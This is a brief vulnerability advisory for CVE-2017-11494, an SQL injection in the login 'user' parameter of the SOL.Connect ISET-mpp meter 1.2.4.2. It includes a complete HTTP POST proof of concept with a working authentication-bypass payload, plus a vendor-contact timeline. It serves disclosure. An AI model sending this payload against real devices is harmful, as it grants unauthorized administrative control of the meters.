Vulnerability type: 
SQL injection, leading to administrative access through authentication bypass.

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Product: SOL.Connect ISET-mpp meter
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Affected version: SOL.Connect ISET-mpp meter 1.2.4.2 and possibly earlier

Vulnerable parameter: user
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Credit: Andy Tan
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CVE ID: CVE-2017-11494
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Proof of Concept
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HTTP Request:
POST /_45b4a69e249c1d0ab9772763f3c97e69_/?s=login&o=/_45b4a69e249c1d0ab9772763f3c97e69_/%3fs%3dmain HTTP/1.1
Host: <IP-address>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://<IP-address>/_45b4a69e249c1d0ab9772763f3c97e69_/?s=login&o=/_45b4a69e249c1d0ab9772763f3c97e69_/%3fs%3dmain
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 131

action=submit&origin=%2F_45b4a69e249c1d0ab9772763f3c97e69_%2F%3Fs%3Dmain&s=login&user=admin%27+or+%271%27%3D%271+--%2B&password=asd

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Vendor contact timeline:
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2017-07-20: Contacted vendor. No response.
2017-07-26: Contacted vendor again. No response.
2017-08-01: Public disclosure.